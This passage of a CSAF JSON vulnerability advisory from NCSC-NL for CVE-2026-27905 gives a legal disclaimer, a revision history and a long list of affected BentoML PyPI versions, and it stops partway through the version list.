{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-27905", "tracking": { "current_release_date": "2026-03-23T01:15:38.062807Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-27905", "initial_release_date": "2026-03-03T19:09:01.938444Z", "revision_history": [ { "date": "2026-03-03T19:09:01.938444Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-03T19:09:04.733410Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-03T23:25:06.165870Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-03T23:25:16.390669Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-03T23:38:51.517898Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-03-03T23:38:58.979212Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-03-04T02:39:42.367401Z", "number": "7", "summary": "CVSS created.| References created (2)." }, { "date": "2026-03-04T15:16:45.845621Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-04T15:16:53.421074Z", "number": "9", "summary": "NCSC Score updated." }, { "date": "2026-03-04T18:38:00.126127Z", "number": "10", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (213).| Product Identifiers created (215).| Products created (3).| References created (3).| CWES updated (1)." }, { "date": "2026-03-04T21:41:27.699282Z", "number": "11", "summary": "Unknown change." }, { "date": "2026-03-05T21:26:50.563857Z", "number": "12", "summary": "CVSS created.| Products created (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-05T21:26:56.674127Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-03-20T09:39:29.452881Z", "number": "14", "summary": "Source connected.| CVE status created. (valid)| EPSS created." } ], "status": "interim", "version": "14" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<1.4.36", "product": { "name": "vers:unknown/<1.4.36", "product_id": "CSAFPID-5757220" } } ], "category": "product_name", "name": "BentoML" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/0.0.1", "product": { "name": "vers:unknown/0.0.1", "product_id": "CSAFPID-5466676", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.0.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.2", "product": { "name": "vers:unknown/0.0.2", "product_id": "CSAFPID-5466677", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.0.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.3", "product": { "name": "vers:unknown/0.0.3", "product_id": "CSAFPID-5466678", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.0.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.5", "product": { "name": "vers:unknown/0.0.5", "product_id": "CSAFPID-5466679", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.0.5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.6a0", "product": { "name": "vers:unknown/0.0.6a0", "product_id": "CSAFPID-5466680", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.0.6a0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.7", "product": { "name": "vers:unknown/0.0.7", "product_id": "CSAFPID-5466681", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.0.7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.7.dev0", "product": { "name": "vers:unknown/0.0.7.dev0", "product_id": "CSAFPID-5466682", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.0.7.dev0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.8", "product": { "name": "vers:unknown/0.0.8", "product_id": "CSAFPID-5466683", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.0.8" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.8.post1", "product": { "name": "vers:unknown/0.0.8.post1", "product_id": "CSAFPID-5466684", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.0.8.post1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.9", "product": { "name": "vers:unknown/0.0.9", "product_id": "CSAFPID-5466685", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.0.9" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.1", "product": { "name": "vers:unknown/0.1.1", "product_id": "CSAFPID-5466686", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.2", "product": { "name": "vers:unknown/0.1.2", "product_id": "CSAFPID-5466687", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.1.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.10.0", "product": { "name": "vers:unknown/0.10.0", "product_id": "CSAFPID-5466688", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.10.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.10.1", "product": { "name": "vers:unknown/0.10.1", "product_id": "CSAFPID-5466689", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.10.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.11.0", "product": { "name": "vers:unknown/0.11.0", "product_id": "CSAFPID-5466690", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.11.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.11.dev0", "product": { "name": "vers:unknown/0.11.dev0", "product_id": "CSAFPID-5466691", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.11.dev0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.12.0", "product": { "name": "vers:unknown/0.12.0", "product_id": "CSAFPID-5466692", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.12.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.12.1", "product": { "name": "vers:unknown/0.12.1", "product_id": "CSAFPID-5466693", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.12.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.13.0", "product": { "name": "vers:unknown/0.13.0", "product_id": "CSAFPID-5466694", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.13.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.13.1", "product": { "name": "vers:unknown/0.13.1", "product_id": "CSAFPID-5466695", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.13.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.13.2", "product": { "name": "vers:unknown/0.13.2", "product_id": "CSAFPID-5466696", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.13.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.0", "product": { "name": "vers:unknown/0.2.0", "product_id": "CSAFPID-5466697", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.1", "product": { "name": "vers:unknown/0.2.1", "product_id": "CSAFPID-5466698", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.2", "product": { "name": "vers:unknown/0.2.2", "product_id": "CSAFPID-5466699", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.2.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.0", "product": { "name": "vers:unknown/0.3.0", "product_id": "CSAFPID-5466700", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.1", "product": { "name": "vers:unknown/0.3.1", "product_id": "CSAFPID-5466701", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.3", "product": { "name": "vers:unknown/0.3.3", "product_id": "CSAFPID-5466702", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.3.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.4", "product": { "name": "vers:unknown/0.3.4", "product_id": "CSAFPID-5466703", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.3.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.0", "product": { "name": "vers:unknown/0.4.0", "product_id": "CSAFPID-5466704", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.1", "product": { "name": "vers:unknown/0.4.1", "product_id": "CSAFPID-5466705", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.2", "product": { "name": "vers:unknown/0.4.2", "product_id": "CSAFPID-5466706", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.4.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.3", "product": { "name": "vers:unknown/0.4.3", "product_id": "CSAFPID-5466707", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.4.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.4", "product": { "name": "vers:unknown/0.4.4", "product_id": "CSAFPID-5466708", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.4.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.5", "product": { "name": "vers:unknown/0.4.5", "product_id": "CSAFPID-5466709", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.4.5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.7", "product": { "name": "vers:unknown/0.4.7", "product_id": "CSAFPID-5466710", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.4.7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.8", "product": { "name": "vers:unknown/0.4.8", "product_id": "CSAFPID-5466711", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.4.8" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.9", "product": { "name": "vers:unknown/0.4.9", "product_id": "CSAFPID-5466712", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.4.9" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.0", "product": { "name": "vers:unknown/0.5.0", "product_id": "CSAFPID-5466713", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.1", "product": { "name": "vers:unknown/0.5.1", "product_id": "CSAFPID-5466714", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.5.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.2", "product": { "name": "vers:unknown/0.5.2", "product_id": "CSAFPID-5466715", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.5.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.3", "product": { "name": "vers:unknown/0.5.3", "product_id": "CSAFPID-5466716", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.5.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.4", "product": { "name": "vers:unknown/0.5.4", "product_id": "CSAFPID-5466717", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.5.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.5", "product": { "name": "vers:unknown/0.5.5", "product_id": "CSAFPID-5466718", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.5.5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.6", "product": { "name": "vers:unknown/0.5.6", "product_id": "CSAFPID-5466719", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.5.6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.7", "product": { "name": "vers:unknown/0.5.7", "product_id": "CSAFPID-5466720", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.5.7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.8", "product": { "name": "vers:unknown/0.5.8", "product_id": "CSAFPID-5466721", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.5.8" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.0", "product": { "name": "vers:unknown/0.6.0", "product_id": "CSAFPID-5466722", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.1", "product": { "name": "vers:unknown/0.6.1", "product_id": "CSAFPID-5466723", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.6.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.2", "product": { "name": "vers:unknown/0.6.2", "product_id": "CSAFPID-5466724", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.6.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.3", "product": { "name": "vers:unknown/0.6.3", "product_id": "CSAFPID-5466725", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.6.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.7.0", "product": { "name": "vers:unknown/0.7.0", "product_id": "CSAFPID-5466726", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.7.1", "product": { "name": "vers:unknown/0.7.1", "product_id": "CSAFPID-5466727", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.7.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.7.2", "product": { "name": "vers:unknown/0.7.2", "product_id": "CSAFPID-5466728", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.7.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.7.3", "product": { "name": "vers:unknown/0.7.3", "product_id": "CSAFPID-5466729", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.7.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.7.4", "product": { "name": "vers:unknown/0.7.4", "product_id": "CSAFPID-5466730", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.7.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.7.5", "product": { "name": "vers:unknown/0.7.5", "product_id": "CSAFPID-5466731", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.7.5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.7.6", "product": { "name": "vers:unknown/0.7.6", "product_id": "CSAFPID-5466732", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.7.6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.7.7", "product": { "name": "vers:unknown/0.7.7", "product_id": "CSAFPID-5466733", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.7.7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.7.8", "product": { "name": "vers:unknown/0.7.8", "product_id": "CSAFPID-5466734", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.7.8" } } }, { "category": "product_version_range", "name": "vers:unknown/0.8.0", "product": { "name": "vers:unknown/0.8.0", "product_id": "CSAFPID-5466735", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.8.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.8.1", "product": { "name": "vers:unknown/0.8.1", "product_id": "CSAFPID-5466736", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.8.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.8.2", "product": { "name": "vers:unknown/0.8.2", "product_id": "CSAFPID-5466737", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.8.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.8.3", "product": { "name": "vers:unknown/0.8.3", "product_id": "CSAFPID-5466738", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.8.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.8.4", "product": { "name": "vers:unknown/0.8.4", "product_id": "CSAFPID-5466739", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.8.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.8.5", "product": { "name": "vers:unknown/0.8.5", "product_id": "CSAFPID-5466741", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.8.5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.8.6", "product": { "name": "vers:unknown/0.8.6", "product_id": "CSAFPID-5466742", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.8.6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.9.0", "product": { "name": "vers:unknown/0.9.0", "product_id": "CSAFPID-5466743", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.9.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.9.0rc0", "product": { "name": "vers:unknown/0.9.0rc0", "product_id": "CSAFPID-5466744", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.9.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.9.1", "product": { "name": "vers:unknown/0.9.1", "product_id": "CSAFPID-5466745", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.9.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.9.2", "product": { "name": "vers:unknown/0.9.2", "product_id": "CSAFPID-5466746", "product_identification_helper": { "purl": "pkg:pypi/bentoml@0.9.2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0", "product": { "name": "vers:unknown/1.0.0", "product_id": "CSAFPID-2779695", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0.dev0", "product": { "name": "vers:unknown/1.0.0.dev0", "product_id": "CSAFPID-5466747", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.0.dev0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0.dev1", "product": { "name": "vers:unknown/1.0.0.dev1", "product_id": "CSAFPID-5466749", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.0.dev1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a1", "product": { "name": "vers:unknown/1.0.0a1", "product_id": "CSAFPID-5466750", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.0a1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a2", "product": { "name": "vers:unknown/1.0.0a2", "product_id": "CSAFPID-5466751", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.0a2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a3", "product": { "name": "vers:unknown/1.0.0a3", "product_id": "CSAFPID-5466752", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.0a3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a4", "product": { "name": "vers:unknown/1.0.0a4", "product_id": "CSAFPID-5466753", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.0a4" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a5", "product": { "name": "vers:unknown/1.0.0a5", "product_id": "CSAFPID-5466754", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.0a5" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a6", "product": { "name": "vers:unknown/1.0.0a6", "product_id": "CSAFPID-5466755", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.0a6" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0a7", "product": { "name": "vers:unknown/1.0.0a7", "product_id": "CSAFPID-5466756", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.0a7" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0rc0", "product": { "name": "vers:unknown/1.0.0rc0", "product_id": "CSAFPID-5466757", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0rc1", "product": { "name": "vers:unknown/1.0.0rc1", "product_id": "CSAFPID-5466758", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.0rc1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0rc2", "product": { "name": "vers:unknown/1.0.0rc2", "product_id": "CSAFPID-5466759", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.0rc2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0rc3", "product": { "name": "vers:unknown/1.0.0rc3", "product_id": "CSAFPID-5466760", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.0rc3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.10", "product": { "name": "vers:unknown/1.0.10", "product_id": "CSAFPID-2779733", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.10" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.11", "product": { "name": "vers:unknown/1.0.11", "product_id": "CSAFPID-2779719", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.11" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.12", "product": { "name": "vers:unknown/1.0.12", "product_id": "CSAFPID-2779710", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.12" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.13", "product": { "name": "vers:unknown/1.0.13", "product_id": "CSAFPID-2779661", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.13" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.14", "product": { "name": "vers:unknown/1.0.14", "product_id": "CSAFPID-2779698", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.14" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.15", "product": { "name": "vers:unknown/1.0.15", "product_id": "CSAFPID-2779684", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.15" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.16", "product": { "name": "vers:unknown/1.0.16", "product_id": "CSAFPID-2779681", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.16" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.17", "product": { "name": "vers:unknown/1.0.17", "product_id": "CSAFPID-2779709", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.17" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.18", "product": { "name": "vers:unknown/1.0.18", "product_id": "CSAFPID-2779659", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.18" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.19", "product": { "name": "vers:unknown/1.0.19", "product_id": "CSAFPID-2779734", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.19" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.2", "product": { "name": "vers:unknown/1.0.2", "product_id": "CSAFPID-2779675", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.20", "product": { "name": "vers:unknown/1.0.20", "product_id": "CSAFPID-2779679", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.20" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.21", "product": { "name": "vers:unknown/1.0.21", "product_id": "CSAFPID-2779686", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.21" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.22", "product": { "name": "vers:unknown/1.0.22", "product_id": "CSAFPID-2779653", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.22" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.23", "product": { "name": "vers:unknown/1.0.23", "product_id": "CSAFPID-2779712", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.23" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.24", "product": { "name": "vers:unknown/1.0.24", "product_id": "CSAFPID-2779725", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.24" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.25", "product": { "name": "vers:unknown/1.0.25", "product_id": "CSAFPID-2779732", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.25" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.3", "product": { "name": "vers:unknown/1.0.3", "product_id": "CSAFPID-2779680", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.4", "product": { "name": "vers:unknown/1.0.4", "product_id": "CSAFPID-2779663", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.4" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.5", "product": { "name": "vers:unknown/1.0.5", "product_id": "CSAFPID-2779696", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.5" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.6", "product": { "name": "vers:unknown/1.0.6", "product_id": "CSAFPID-2779728", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.6" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.7", "product": { "name": "vers:unknown/1.0.7", "product_id": "CSAFPID-2779737", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.7" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.8", "product": { "name": "vers:unknown/1.0.8", "product_id": "CSAFPID-2779724", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.8" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.9", "product": { "name": "vers:unknown/1.0.9", "product_id": "CSAFPID-2779665", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.0.9" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.0", "product": { "name": "vers:unknown/1.1.0", "product_id": "CSAFPID-2779721", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.1", "product": { "name": "vers:unknown/1.1.1", "product_id": "CSAFPID-2779736", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.10", "product": { "name": "vers:unknown/1.1.10", "product_id": "CSAFPID-2779697", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.1.10" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.11", "product": { "name": "vers:unknown/1.1.11", "product_id": "CSAFPID-2779662", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.1.11" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.2", "product": { "name": "vers:unknown/1.1.2", "product_id": "CSAFPID-2779704", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.1.2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.3", "product": { "name": "vers:unknown/1.1.3", "product_id": "CSAFPID-2779671", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.1.3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.4", "product": { "name": "vers:unknown/1.1.4", "product_id": "CSAFPID-2779701", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.1.4" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.5", "product": { "name": "vers:unknown/1.1.5", "product_id": "CSAFPID-2779687", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.1.5" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.6", "product": { "name": "vers:unknown/1.1.6", "product_id": "CSAFPID-2779676", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.1.6" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.7", "product": { "name": "vers:unknown/1.1.7", "product_id": "CSAFPID-2779707", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.1.7" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.8", "product": { "name": "vers:unknown/1.1.8", "product_id": "CSAFPID-2779655", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.1.8" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.9", "product": { "name": "vers:unknown/1.1.9", "product_id": "CSAFPID-2779729", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.1.9" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.0", "product": { "name": "vers:unknown/1.2.0", "product_id": "CSAFPID-2779683", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.0a0", "product": { "name": "vers:unknown/1.2.0a0", "product_id": "CSAFPID-5466776", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.0a0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.0a1", "product": { "name": "vers:unknown/1.2.0a1", "product_id": "CSAFPID-5466777", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.0a1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.0a2", "product": { "name": "vers:unknown/1.2.0a2", "product_id": "CSAFPID-5466778", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.0a2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.0a3", "product": { "name": "vers:unknown/1.2.0a3", "product_id": "CSAFPID-5466779", "product_identification_helper": { "purl": 